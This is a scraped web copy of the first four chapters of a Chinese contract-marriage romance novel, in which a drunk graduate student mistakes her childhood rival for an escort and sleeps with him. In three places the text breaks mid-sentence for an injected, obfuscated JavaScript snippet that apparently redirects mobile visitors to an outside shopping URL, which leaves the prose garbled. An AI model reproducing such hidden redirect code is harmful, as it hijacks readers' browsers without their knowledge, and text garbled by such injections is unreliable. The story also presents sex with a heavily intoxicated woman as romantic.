《樱桃坠落时[先婚后爱]》 1. 第 1 章 改完毕业论文最后一处批注,庄樱轻呼了口气,按下保存,熟练地把修改稿发到导师的邮箱。 摘下眼镜,她揉了揉酸痛不已的眼眶和被镜片压痛的鼻梁,拿起手机看了眼时间,竟然十点多了。 从昨天收到导师的修改意见开始,她就马不停蹄地改了两天论文,英文文献不知道看了多少篇,眼睛都快瞎了。今天更是连晚饭都顾不上吃,在电脑前连着坐了九个多小时。 腹中空空如也,庄樱却半点饥饿感都没有。身体虽然疲惫,大脑却在持续的高强度运转下依然保持着紧张和兴奋的状态,庄樱站起身,活动了一下僵硬的肩膀,刚要关电脑,邮箱里突然弹出一封新邮件。 庄樱心头一颤,怀着不好的预感点了进去。 方老师:小庄,昨天发你的修改意见里还有几处文献引用我认为不妥,我在补充意见里给你标出来了,这几处最好引用近三年内的SSCI文献,你对照附件再修改一下,这周天之前一起发我。 刚以为自己解脱了的庄樱顿时眼前一黑,近三年?!还要SSCI?她得找文献找到什么时候? 她抓狂地挠了挠自己的头发,往后倒在沙发椅上,面色颓败,心如死灰。柜子上的手机响了起来,她麻木地攥住,放到耳边。 “……喂。” “干嘛呢?这么无精打采的,论文还没改完啊?” 是损友叶昭的声音。 庄樱苦涩地嗯了一声,“五分钟前刚改完,结果导师又发了一份补充意见。” 叶昭啧了声,“你们硕士论文怎么这么麻烦,都改了多少次了,没完没了的!后面还有什么双盲审查吧?还好我当初没读硕士。” 庄樱轻叹了口气。 叶昭听她语调颓唐,安慰道:“别愁了,你现在最需要的是放松。滨海路这儿新开了一个酒吧,来玩不?” 叶昭那头的背景音闹哄哄的,吵得慌。庄樱一向不喜欢去人多喧闹的地方,下意识拒绝。 “这么晚了,算了吧。” “十二点都不到晚什么晚!我跟你说,这酒吧里帅哥特别多,一会儿还有肌肉帅哥脱衣舞表演呢,你来不来?” 听到“肌肉帅哥”四个字,庄樱脸颊一红,手指忍不住握紧了沙发椅扶手,莫名有些动摇:“脱衣舞……尺度会不会太大了点?” 叶昭切了一声,“你都二十四的人了,怎么还纯情得跟个小学生似的。马上换衣服出来,我让司机过去接你。穿裙子,露得越多越好,听到没有?” 庄樱还在犹豫间,叶昭已经利落地撂了电话。 叶昭一向是说一不二的脾气。庄樱踌躇两分钟,果断走到衣柜前,拉开了柜门。 反正都快毕业了,她这个乖乖女放纵一次,应该也不会怎么样吧? 庄樱挑了一条黑色的露肩连衣裙换上,微卷的长发散下来,披在肩头,又化了个淡妆。刚涂完口红,叶昭派来接她的车到了,停在宿舍楼下。 庄家跟叶家是世交,叶家的司机庄樱也认识。跟司机打过招呼,她上车,又不放心地掏出小镜子看了看。 她的粉底涂得太薄,昨晚熬夜导致的黑眼圈并没有完全被盖住,合上镜子,她挫败地叹了口气。 烦,论文改不好,妆也化不好,她就是废物一个。 很快到了酒吧,在门口听见嘈杂的音乐声时庄樱就有些后悔了,可想到自己来这儿的目的,还是硬着头皮走了进去。 里面灯光迷离,舞池里人群攒动,电子乐震耳欲聋。庄樱正艰难地寻找着叶昭的身影,肩膀冷不防被拍了一下。 “进门最近的卡座,这都看不到?” 叶昭笑她,手里还端了杯黄色鸡尾酒。 说着话,她又上下审视了一圈庄樱的装扮,伸手捏了捏她清丽的脸。 “今天这身不错,我打一百分。” 音乐声太响,庄樱没怎么听清楚她说的话,只盯着她手里那杯酒,目光带着一丝好奇。 “能给我也来一杯吗?” 叶昭打发走身后两个塑料姐妹,笑道:“这是玛格丽特,太烈了,不适合你。乖乖女还是喝柠檬水吧。” 说着便抬手招来侍者,让他上柠檬水。 “你能喝我为什么不能喝?” 反正都来了酒吧了,不喝酒怎么行。庄樱果断拦住侍者,指了指叶昭手里的杯子。 “给我来杯一模一样的。” “好的,女士。” “压力大成这样了?”叶昭挨着她坐下,稀罕地瞥她一眼,“想一醉解千愁啊?” 庄樱抱着靠枕用力捏了两下,惆怅道:“真想一觉醒来,我的电脑自动帮我改好了论文。” “都来酒吧了,还想论文干嘛。”叶昭一手揽住她肩膀,促狭地挤了挤眼睛,“右前方有个帅哥在看你,要不要上去打声招呼?” 庄樱顺着她的视线看过去,果然见到不远处,一个年轻斯文的男人朝她举了举手中的高脚杯。 “Notmytype(不是我的菜)。”庄樱果断转头。 叶昭啧了声,“清瘦的不喜欢,喜欢肌肉猛男啊?” 鸡尾酒上来,庄樱一口气喝了一大口,打了个酒嗝,“对,肌肉猛男,这儿有吗?” 叶昭轻轻一笑,“有啊,我帮你叫两个,专门伺候你,怎么样?” 她的语气不像是开玩笑,手掌抬起,一副马上要喊人的架势。庄樱连忙握住她手腕,求饶道:“姑奶奶,我无福消受,你放我一马。” 叶昭轻哼了声,“就这点胆子,没劲。” 庄樱不敢打嘴炮了,老老实实地在卡座上跟叶昭闲聊,喝酒。不知几杯过后,她脸上有了明显的绯色,眼眶里也泛出了水汽。 隐隐绰绰中,她看到模糊的人群里有个高挑的身影,浅色衬衣,黑色长裤,手里端着一杯冰蓝色的鸡尾酒,有股遗世而独立的清冷气质。 她眨了眨迷蒙的眼睛,伸手朝那个方向一指,“昭昭,你看……这种类型,我就喜欢。” 叶昭是千杯不倒的酒量,她关掉震动个不停的手机,朝庄樱手指的方向瞄了眼,顿时 倒抽了口冷气。 这不是洛家的三少爷,庄樱从小到大的死对头吗? 这家伙都醉到这种地步了? “姐妹,你要不再看看,你指的人是谁?” 不远处,吧台。 男人长腿交叠,百无聊赖地把一枚硬币抛进酒杯,刚要让侍者换酒,身旁忽地响起损友的嗓音。 “卧槽,庄家那个乖乖女怎么也过来了。” 听到“庄家”两个字,他手腕一顿,修长的手指落回大理石台面,转头,就见靠南的卡座上,一个穿着露肩礼服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203057|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙的女孩正笑盈盈地往嘴里灌酒。 这个侧脸他再熟悉不过。 似乎是感觉到了他的目光,女孩转过身,如水的眸子锁住她,嘴角翘起,脸颊的酒窝显得更深。 男人微微皱眉。 这家伙什么时候冲他这么笑过。 违和感过于强烈,令他想一探究竟。因此在女孩朝他伸手指了指时,他在心底冷笑一声,抬腿便走了过去。 见身高腿长的男人朝这边走来,叶昭不免有些心虚,慌忙抓住庄樱的肩膀,在她耳畔道。 “阿樱,你清醒一点,这是谁你知道不?你高中时一个月可是抓过他十次违纪,搅黄过他三段恋情,这是你从小到大的死对头!” 什么死对头? 酒意上头,此刻庄樱的脑袋沉重不已,思绪像是一团胡乱缠绕的线团。眼皮抬起,只模糊地瞧见那个高挑的影子越来越近。 “叶二小姐,挺巧啊。” 男人眯着一双桃花眼,似笑非笑,视线又转向她身旁的庄樱,“她这是……喝多了?” 叶昭硬着头皮跟洛时屿打了声招呼,干笑道:“是,阿樱忙着改论文,压力太大了,我帮她解解压。” “解压”两个字不知触动到了庄樱的哪根神经,她眯起泛着雾气的黑眸,睨了男人一眼,混沌的思绪中忽地闪过一丝清明。 难道这就是叶昭帮她找的肌肉猛男? 嘴角露出一个有些傻气的笑容,庄樱拍了拍身旁的位置,大着舌头道:“帅哥,过来坐。” 洛时屿跟见鬼了一样盯着她。 太阳是不是从西边出来了?这女人对他笑就算了,还叫他帅哥? 他弯腰,盯着庄樱潮红的脸仔细看了两秒,发现她没戴眼镜,不由得嗤笑一声。 他神情阴晴不定,叶昭在一旁简直替庄樱捏了把汗,正等着洛时屿发作时,眼前一晃,那人竟在庄樱身边坐了下来。 叶昭的汗流得更多了,她正欲开口,手机响了起来。瞥到来电,她眉头蹙起,犹豫地看了眼庄樱和洛时屿。 “叶小姐这么不放心我?”洛时屿似乎看出她心中所想,嘴角微勾,“好歹是老同学,我不至于欺负一个醉酒的人。” 庄老爷子和洛老爷子年轻时是拜把的兄弟,两家的关系比跟叶家还亲,叶昭倒不至于担心这一点。 洛时屿要是真敢对庄樱怎么样,估计洛老爷子要先拿拐杖把洛时屿的腿给敲断。 短暂的犹豫后,叶昭果断道:“我接个电话,你们先聊。” 洛时屿微微挑眉,“叶小姐请自便。” 叶昭一离开,卡座上便只剩两人。嘈杂的电子乐在这时变成了悠扬的爵士乐,而庄樱喝光杯中最后一滴酒后,打了个嗝,歪在沙发上,朝洛时屿晃了晃杯子。 “帅哥,再……帮我……加一杯呗?” 两杯玛格丽特下肚,她整个人处于一种飘飘然的,头重脚轻的状态。因为没戴眼镜,加上灯光昏暗,眼前男人的五官始终像笼在薄雾中一般,只依稀能分辨出优越的眉骨和利落的下颌线条。 还别说,叶昭挑的男公关颜值真不错。 洛时屿视线掠过她握着高脚杯的葱白手指,目光漫不经心地落到她脸上,倾身,深黑的眸子盯着她,眼底带着一丝戏谑和嘲讽。 “庄樱,你把我当出来卖的了?” 2. 第 2 章 什么卖不卖的,这人说话也太难听了。 庄樱在心底啧了声,抬眸,眼底带着一丝恼怒,“怎么,你不愿意陪我?” 洛时屿盯着她覆了一层水光的眼睛,到底是没狠心拒绝,招手叫来侍应生。 “给她来杯长岛冰茶。” 杯中的酒一满,庄樱就迫不及待地端起送到嘴边,只是冰凉的酒液划入喉咙没两分钟,她便感到胃里一阵抽搐,喝混酒的后果在这时发作,她小腹处此刻像有把剪刀在胡乱搅动,疼得厉害。 洛时屿发现她神色不对,再看她手捂着腹部,不自觉蹙眉,“怎么了?” 庄樱一只手抓着他胳膊,脸色青白,额头隐隐有薄汗冒出,“快带我……去洗手间。” 洛时屿反手握住她手腕,无奈道,“明明喝不了,非要逞强。” 到底是把人拉了起来,半抱着穿过人群,去了最里面的洗手间。酒吧里空气闷热,穿过人群时各种刺鼻的香水味和体味混合在一起,让庄樱的胃里越发难受。一进女厕,她就扶着盥洗池吐了个天昏地暗。 她晚饭吃得少,吐出来的基本都是酒液和胆汁,有一些还沾到了头发上。庄樱好不容易站稳,把散下来的头发捋到一边。用水冲了把脸后,抬头看着镜子中的自己。 披头散发,脸颊苍白,口红没了大半,现在的她比女鬼也好不了多少。 庄樱受不了满身的酒味,只想赶紧找个地方洗干净自己。她步履蹒跚地出了洗手间,绕过一对正在接吻的男女,然而没走两步,脚下不知被什么绊了一下,差点摔倒时,一股力道猛地托住她的腰,后背跌入一个温热的怀抱。 庄樱后怕地扶住那人的胳膊,余光瞥见男人线条优越的侧脸,眨了眨眼睛,“谢谢。” 这个男公关嘴虽然毒,人还是敬业的,知道在外面等她。 洛时屿扯了扯嘴角,声音听不出冷热,“走得动吗?要不我抱你?” 庄樱摇头,站直了身体。宿舍有门禁,现在回去已经晚了,她只好转向后方,“能送我去最近的酒店吗?” 洛时屿微微眯起眼睛,打量着眼前的女人。晦暗的灯光下,庄樱一双眸子仍是雾蒙蒙的,泛着水汽,令他难以判断她的清醒程度。 她总不至于头脑发昏,把他认成出来卖的鸭,还想带他去开房吧? 见男人迟迟不动,庄樱含糊不清地解释,“你……别误会,我就是想洗一下……身上的酒味,没别的意思。” 洛时屿眉头微挑,打电话叫来司机。 他把庄樱带去了最近的一家四星酒店,进门刷卡,明亮的灯光刚亮起,庄樱就跟吸血鬼见到阳光一样痛苦地捂住脸,“关灯!太亮了!” 洛时屿啧了声,关了大灯,只开了一盏落地灯。 庄樱一头扎进浴室,带上门,把手机和包包随手扔在一边。她这个澡洗了二十来分钟,出来时,听到手机震个不停。她找了好一会儿,才从洗衣篮里捞出自己静音的手机。 刚一接通,叶昭的大嗓门就响在耳畔,“你去哪儿了?我打了你好多电话你都没接,你差点没把我吓死!” “我没事,刚吐了,在酒店洗澡而已。” “你一个人?”叶昭语气怀疑。 庄樱估计那个男公关已经走了,抓了抓湿润的头发,“不然呢?我还要吹头发,头也疼,先不聊了啊。” “早说了让你别喝酒。行,你先忙吧,明天再给我电话。” 挂了电话,庄樱把头发吹到半干,顶着晕乎乎的脑袋,出了浴室。 房间里只开着一盏落地灯,光线昏暗,庄樱裹着浴巾,正要往床前走时,忽地一愣。 落地窗边站着一个颀长的背影,黑色牛仔裤勾勒出劲瘦的腰线和修长的双腿。男人一手插兜,目光凝视着窗外,身上有股忧郁而清冷的气质。 庄樱看得目不转睛,心脏不自觉漏了几拍。 “你……怎么没走?” 男人转过头,朝她笑了笑,“当然是……” “不放心你。” 低沉而磁性的嗓音在这种夜晚显得格外动人,庄樱也不知道自己是哪根筋搭错了,试探道:“你在这一行……干多久了?” 洛时屿脸色微僵。 敢情还是把他当出来卖的了。 看着庄樱只裹着浴巾的身影,他嘲讽地勾了勾嘴角,从窗边走到床前,半张脸没入黑暗中,深邃的眉眼显得脆弱而忧郁。 ”其实,这是我第一次……跟客人出来。“ 庄樱有些诧异,心底又多了一丝怜惜。她眨了眨眼,大着胆子道:“要不今晚,你留下来?” 洛时屿长睫眨了眨,似笑非笑地看着她。 “你……确定?” “这有什么不确定的。”庄樱往前一步,细白的手指揪住他的衬衣领口,抬眸,盯着那双深潭般的黑眸。 “放心,我不会强迫你。只是我最近压力太大了,论文,工作……你帮我解解压就好……” 半推半就间,洛时屿被她带到了床上,尽管此刻衣襟凌乱,但他的表情依然从容不迫,甚至好整以暇地等着庄樱的下一步动作。 庄樱坐在男人腰间,微微垂眸,握住那线条分明的下巴,从上往下地凝视着男人的脸。 虽然隐隐觉得男人的五官似乎有些熟悉,但身体里想要放纵的冲动超过了一切理智,她视线下移,盯着男人领口处露出的一小块肌肤以及嶙峋的锁骨,感觉胸口有股说不清的破坏欲在涌动。 她低头,一口咬在男人锁骨下方的位置。 洛时屿闷哼了声,显然没想到她说的解压竟然是要咬他。他蹙了蹙眉头,正想把这个胆大妄为的家伙掀到一边,然而下一秒,锁骨旁传来的湿热触感令他全身一颤。 细微的电流从那处蔓延开来,脊椎骨深处窜起一股难以形容的酥麻感。洛时屿瞳孔微缩,不敢置信地看着伏在他身上的人。 庄樱湿润微卷的长发落在他耳畔,她清丽的脸带着一丝愉悦,微张的唇带着不自知的诱惑,微微歪头看他。 洛时屿视线掠过她犹泛着水光的唇,脑子里轰的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203058|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,名为理智的弦瞬间断裂。 他按住庄樱的后颈,猛地将她拉向自己,不到两秒,两人就互换了位置。 庄樱看着上方忽然变得强势的男人,莫名有种不详的预感,她嘴唇动了动,刚要开口,男人的指腹先按住了她的唇。 落地灯啪地熄灭,她只看见上方一双裹挟着黑色风暴的眼睛,耳边响起的是一道暗哑的嗓音。 ”压力大是吧?今晚,我会好好帮你……解压。“ …… 庄樱醒来时,头疼欲裂,浑身酸疼。 她皱眉,勉强睁开沉重的眼皮,宿醉留下的后遗症让她太阳穴处的青筋隐隐有股拉扯般的疼痛感,她正要伸手去按,不知察觉到什么,抬手的动作猛地一顿,瞬间像炸毛的猫一样绷紧了身体。 她床上还躺了一个人! 残留的睡意瞬间消失得无影无踪,庄樱脑中警铃大作,大脑飞速运转,回忆着昨晚醉酒前的场景,虽然那些画面断断续续且模糊不清,但她清晰记得是自己主动对男人发出了邀请…… 我的天……庄樱羞愤又懊恼地捂住了自己的脸,她竟然因为压力太大,睡了酒吧的男公关! 没敢多看自己的身体,庄樱小心地下了床,进了浴室,刚抬头,就看到了后视镜里自己红肿破皮的唇。 刹那间,某些零碎的片段映入脑海,下巴被强硬地掐住,温热有力的唇研磨着她的唇瓣,所有的氧气被尽数掠夺,令她不得不仰起脖颈,发出低低的呜咽声…… 热意猛地窜上脸颊,庄樱甩了甩头,狠狠摇掉脑中令她心猿意马的片段,快速走到花洒下冲洗身体。等裹好浴巾出来,她才后知后觉地意识到自己的衣服眼镜和包全都在房间里。 再拖延下去那个男公关可能要醒了,庄樱实在不想面对那种尴尬的场面,她低着头,踮着脚,尽量轻地走进房间。 庆幸脚下铺的是厚厚的羊毛地毯,踩在上面悄无声息,庄樱稍微松了口气,小心地拿起床头柜上的眼镜带上,又捡起地上自己散落的衣服,刚要起身时,忽地听到床上一阵响动。 她下意识绷紧身体,手里的衣服和包攥得紧紧的,整个人如同炸毛的猫。还好床上的人只是翻了个身,又安静了下来。 庄樱轻呼了口气,抬腿往浴室走,脚下忽然传来硬质的触感,似乎踩到了什么东西,她眉头微皱,挪开脚,借着窗帘缝隙透进来的微光,勉强看清楚是一张身份证。 怕把人证件踩坏了,庄樱弯腰拾起,刚要放回桌上,瞥见上面的照片和姓名后,整个人一怔! 照片上的男人眉目深邃,一双桃花眼灿若晨星,微微扬起的嘴角带着一丝玩世不恭的风流。即使阔别三年,庄樱还是一眼就认出了这张曾经无比熟悉的脸。 这不是她从初中起就看不顺眼,高中时更是恨得牙痒痒的死对头洛时屿吗? 这家伙什么时候回国的,又是什么时候出现在这里的? 难道昨晚……她以为的男公关竟然是洛时屿?! 天哪,她跟洛时屿睡了?!! 3. 第 3 章 没有语言可以形容庄樱此时的绝望心情。 改到令她头秃的毕业论文此时显得无足轻重,导师不苟言笑的脸此刻回忆起来也是眉目可亲。她现在甚至希望躺在床上的真的是一个男公关,至少她用点钱就能打发了,不存在什么后续的纠纷。可这人要是洛时屿…… 庄樱表情还是呆的,心底却还抱着最后一丝残存的希望,缓缓抬起脸,看向床头。 男人长睫紧闭,额发散落,即便在这种昏暗的灯光下都能看出五官的优越。难怪,她昨晚总觉得他有些面熟…… 庄樱的心彻底死了,她甚至都能想象那双桃花眼睁开后会露出怎样讥讽和嘲笑的光芒。 她飞快地把洛时屿的身份证放回原处,蹑手蹑脚地钻进浴室,以前所未有的速度换回了自己的衣服。 这个鬼地方是一秒都待不了了,只要她跑得够快,就能当作什么都没发生过。而且,她要立刻买张机票去云南散心,总之离洛时屿越远越好! 听到大门咔哒一声合上,躺在薄被中的男人倏地睁开了眼睛。 洛时屿眸中没有半丝睡意,早在庄樱在地上捡衣服的时候他就醒了。不出声是想试探一下那个家伙的反应,没想到庄樱比他预想中胆子还小,连看他一眼都不敢就落荒而逃。 呵。 洛时屿眯起眼,拧开台灯,目光忽然被洁白床单上的一抹亮色吸引了注意力。那是一条白母贝五花手链,他隐约记得昨晚按着庄樱的手腕时,这抹银色便在昏暗的光线中晃动。 勾了勾唇,洛时屿将那串手链拢进掌心,眸中露出一丝得逞的笑意。 庄樱啊庄樱,你也有被我捏住把柄的一天。敢把老子当成男公关调戏,就得做好承受后果的准备! ** 终于踏入校门,庄樱长出了一口气。 刚进宿舍,手机忽然震动起来。看到是叶昭的电话,庄樱一个激灵,做了好几秒心理准备才把手机放到耳边。 “我打你好几个电话了?怎么现在才接啊?”叶昭语气不满。 庄樱干笑一声,做出困倦的样子,“我这不是刚睡醒嘛……” “你知道昨晚发生了什么吗?你干了什么你知不知道?”叶昭简直要憋坏了,她迫不及待地想知道庄樱听到自己醉酒后竟然调戏了洛时屿的表情。 对自己昨晚所作所为悔得肠子都青了的庄樱这会儿已经没有任何激烈情绪了,只是麻木道:“嗯?我昨晚做什么了?” “你还记得洛时屿吧?你高中的死对头,他竟然回国了,昨晚也出现在了酒吧!你还调戏他了你知不知道!” “哦。” 庄樱淡定得出奇得反应让叶昭大感诧异,“我说,你昨晚喝醉酒调戏了洛时屿!你听清楚没有?!” 当然清楚,她何止调戏过洛时屿,两人还睡一张床上了,这些话要是说出来叶昭还不得激动得炸成烟花。 庄樱揉了揉耳朵,将手机拿远了些,冷静道:“听到了,酒精害人,我会吸取教训。” 这人是改毕业论文改出毛病来了还是受刺激过大已经麻木了?叶昭吹了吹刚做好的美甲,忧心忡忡地提醒庄樱,“总之,洛时屿那家伙可是很记仇的,你这几天小心点。” “嗯,我这几天哪也不去,就待在学校。” 她毕业论文还没改完呢,想去云南也得改完论文后。 跟叶昭通完电话,庄樱轻呼了口气,进了浴室,把身上的衣服换下来扔进脏衣篓,低头时,她耳根蓦然一热,锁骨下方竟然有一道清晰的红痕。 那家伙属狗的吗,咬这么重。 她恶狠狠地骂了两句,穿上睡衣,准备提上脏衣篓去阳台洗衣服。然而踏出浴室门时,她脑中猛地闪过什么,故意把步子迈大了些。 身上除了多了些咬痕,除了宿醉引发的头疼外,其他地方好像也没什么不适。网上不是说第一次都很难受的吗? 难道他们没做到最后一步? 庄樱按下洗衣机的启动按钮,不自觉咬了咬手指。 她没有任何相关的经验,以为两个人都衣不蔽体地滚在一起了应该是发生了什么,现在回想起来,她起床时浑身的酸痛不适应该是没睡好的缘故,何况昨晚她喝得太多,大脑宕机,具体发生了什么她也记不清楚,只知道那家伙咬她咬得很凶,贴着她又热,她好几次都不得不掀开被子喘气,再往后就…… 庄樱没脸再回忆下去了。她决定用论文和资料来麻痹自己,中午睡了个简短的午觉,下午她就抱着电脑去了图书馆。一待就待到天色黑透,要不是肚子饿得咕咕叫,她都没反应过来已经快八点了。 随便点了份外卖,刚放下手机,微信就响了。 【阿樱,明天周末,你回不回家呀?妈妈给你做好吃的】 庄樱犹豫了一下,指尖滑动,还没回复,消息框又弹出一条: 【你付阿姨有个侄儿在江大读书,学自动化的,比你大一岁,你看周末有没有空跟人家喝个茶?别有压力,就当多交个朋友嘛。】 师范学院女多男少,加上庄樱平时又是个死宅,读研三年硬是没谈过一段恋爱。她前不久才过了二十四岁生日,眼看满了二十五,研究生就要毕业了,女儿还是八风不动的,陈慧心有些着急了,近半年时不时就在朋友圈里打听有没有什么青年才俊,想介绍给庄樱。 庄樱无奈地敲字:妈,我最近忙着改论文,没空回家。改完论文我还要找工作呢。 【陈慧心:找工作急不来,妈也相信你的能力。二十几岁正是谈恋爱的年纪,你也不用排斥嘛,有好的就去见一见。】 庄樱不打算回复了。经过洛时屿的事后,她现在对男人是避而远之,不敢再招惹。陈慧心还非要给她介绍对象,这不是触她的霉头嘛。 把手机全部静音,当晚,庄樱早早地就上了床睡觉。也不知道是不是日有所思夜有所梦,她竟然梦到了高中时的洛时屿。 他们初中同班,高中还是同班,甚至坐过一年同桌。她性格安静沉稳,认真好学,是老师眼中的乖乖女,同学们羡慕的优等生。他却性子跳脱,时不时逃课去网吧打游戏,三天两头地惹事生非。 她高二当副班长时,有一节晚自习记了他五次名字,他看到她本子上的名字,半点不恼,反而凑过来嬉皮笑脸地调侃她,“把我名字写这么多遍,怎么,你暗恋我啊?” “我就是暗恋一头猪都不会暗恋你。” 她气得回怼,立刻就把那页纸撕了下来。 “看看,一下就急了,好学生也这么暴躁啊。”眉目俊秀的少年插着手臂,懒洋洋地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203059|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚在墙边,斜眼看她。 “这么气急败坏,难道你有暗恋的人?” 少年的无心之言却像投入沉寂湖面的石子,起伏的涟漪一圈圈在十六岁的庄樱心底飘荡开来。她下意识瞥向斜后方那个瘦高的身影。 “没有!”少女垂下眼,说得斩钉截铁。 “没有就没有,那么激动干嘛。”洛时屿耸了耸肩。 梦里的场景忽然开始变化,下一幕,她不再置身于整洁明亮的教室,而是来到了光线朦胧的酒店房间,她被男人紧紧地禁锢在身下,恍如躺在火炉里一般,细密的汗从她额头溢出,她热得简直快烧起来,偏偏他还压着她,让她动弹不得。 “庄樱,挺能耐啊你?把我当成出来卖的是吧?” 男人骨节分明的大手箍着她的下巴,眼神晦暗地盯着她。 “那今晚我就好好服侍你!” 啊! 庄樱陡然从梦中惊醒,半晌都回不过神来。她梦到高中的场景也就算了,怎么还梦到那晚在酒店……要死了。 强烈的羞耻感席卷了庄樱全身,她把身体探出被子,狠狠呼了口气。还好隔壁床的室友去了外省面试,不然被室友看到她这副样子,肯定以为她是做什么春/梦了。 不敢再躺回床上,庄樱下床穿衣洗漱。这会儿天也亮了,她在食堂随便吃了点早餐,背着电脑往图书馆走去。 走到樱花大道的尽头,图书馆标志性的双子建筑已经跃入眼前。初夏的空气依然带着沁人的凉意。庄樱打了个哈欠,扶了扶鼻梁上的眼镜,刚要转过拐角,眼前蓦然出现一道修长的身影。 某个瞬间,庄樱还以为自己是没睡好出现了幻觉。 她呆了两秒,随即便跟机器人似的,僵硬地绕过那人想往外走,然而下一秒便手臂一痛。 男人强势地拽着她的胳膊,将她拉回樱花树的阴影下。 高大修长的身影如一片黑沉的乌云般将她全身笼罩。 她强装镇定地抬头,就看到洛时屿眯着一双桃花眼,似笑非笑道:“庄樱,睡完就跑是吧?有你这么不负责任的人吗?” 庄樱:…… 他们有没有真的睡过还要打个问号呢! “你说什么我听不懂。我还有事,没空跟你扯。”庄樱垂下眼,抱着电脑就想走。 “听不懂是吧?” 洛时屿似乎并不意外她装死的反应,他摊开掌心,晃了晃那条银色贝母项链,语气疑惑,“那这条手链,应该也不是你的吧?” 瞥向自己空空如也的手腕,庄樱猛地反应过来自己的手链那晚竟然落在酒店了。这是她生日的时候陈慧心送她的梵克雅宝,大几万呢,她差点就给忘了。 此时的庄樱犹如被捏住脖颈的炸毛小猫,清秀素净的脸抬起,两只眼睛瞪圆了盯着洛时屿,“还给我!” 她踮脚就要去抢,却被洛时屿轻易躲开。庄樱急了,再也顾不上体面,气急败坏道:“洛时屿,你到底想怎么样?” 洛时屿将手链捏在掌心,好整以暇地欣赏她脸颊涨得通红的模样。 “不怎么样,只是希望某人对那晚的事负责而已。” 庄樱心底一突,有种极为不好的预感。 她狐疑而防备地盯着他,“你要我怎么负责?” 4. 第 4 章 洛时屿挑了挑眉,从怀里掏出一张A4纸,递给她。 庄樱困惑地接过,展开,看到那抬头上的婚前协议四个大字时,脑子有一瞬的空白,随即便扔烫手山芋般把那张纸扔了回去。 “洛时屿,你没病吧?!” 都什么年代了,难道在一起睡过就要结婚? 洛时屿捏住怀里的协议,神情略显不耐,“你家里不是在催婚吗?正好我也被老头子念得烦,合作一下?” “……” 洛时屿见她神情抗拒,显然还没从这张婚前协议的冲击中回过神来,循循善诱道:“咱俩是发小,知根知底的,与其被他们念叨,不如互相合作一下,一年后一拍两散,互不干涉,如何?” 想起每次放假回家陈慧心必然要把话题引到她怎么还不谈男朋友身上,庄樱的神情一时有些犹豫。 有几次被陈慧心念得烦的时候,她甚至都想过找个人来扮演她男朋友,如果她有了交往的对象,倒是可以堵住陈慧心的嘴。 瞥见庄樱的神色有松动的迹象,洛时屿悄无声息地靠近一步,低头睨着她,“再说了,我是个保守的人,你就算不想对我负责,发生了那样的事,我也该对你负责。” 男人温热的呼吸浅浅地洒在头顶,这超出社交距离的亲密让庄樱下意识后退一步,忍着心底的慌乱,嘲讽道:“你?保守?” 这家伙初中就开始谈女朋友了吧,高中时追他的女孩更是数不胜数,光她跟他坐同桌那会儿就不知道代收过多少封情书。他要是保守黄浦江的水都要倒流了! 看庄樱直翻白眼的样子,洛时屿无奈一笑,“读书那会儿我身边是狂蜂浪蝶多,可正经谈过的一段都没有,你见我公开过哪个女朋友吗?” 庄樱微微皱眉,这么一回想起来,好像还真是。 “那你之前还出国了三年,鬼知道你——” “是不是在外面乱搞过是吧?”洛时屿忽然拿出手机,在屏幕上点了几下。 “新鲜出炉的体检报告,查收一下。” 庄樱感受到手机振动,把手机拿出来看了眼。她跟洛时屿是高中加的微信,他出国这三年两人很少联系,上一条消息还是两年前,这人莫名其妙地给她发了个海岛旅行Vlog。 点开洛时屿发过来的文档,庄樱眉头微扬,这人的体检报告还挺详细,上来就是传染病六项,甚至还有精-子活力检测……怎么弄得跟婚检似的。 “这下放心了?”洛时屿仔细打量她表情。 庄樱对上他含笑的目光,脸颊微红。 她快速翻完那十来页体检报告,垂眸道:“你的提议太突然了,我还得想想。” “没问题,或者我们可以先从协议情侣开始,免得两边父母起疑,你觉得呢?” 这倒是中了庄樱的下怀,眼前有现成的可以利用的假对象,她也懒得花钱去外面找男模。 “我想想吧,等我改完论文再给你答复。” “好。” 洛时屿笑得眼睛都眯起,忽然握住她手腕,庄樱心底一缩,还没来得及抽回手,冰凉的物体已经到了她掌心。 “手链好好收着,下次别这么粗心了。” “要你管。”庄樱紧紧攥住失而复得的四叶草手链。 “你好好想想,我还有事,不打扰你学习了。”洛时屿出现得突然,走得也洒脱。 庄樱见他转身,忽地想到什么,脱口而出道:“等等,我还有话要问。” “嗯?” 洛时屿转头看她,眸中带着一丝不解。 庄樱左右看了看,这个点樱花大道没什么人经过,她还是不放心地低了声音,急切道:“你走过来一点。” 洛时屿笑吟吟地走过去。 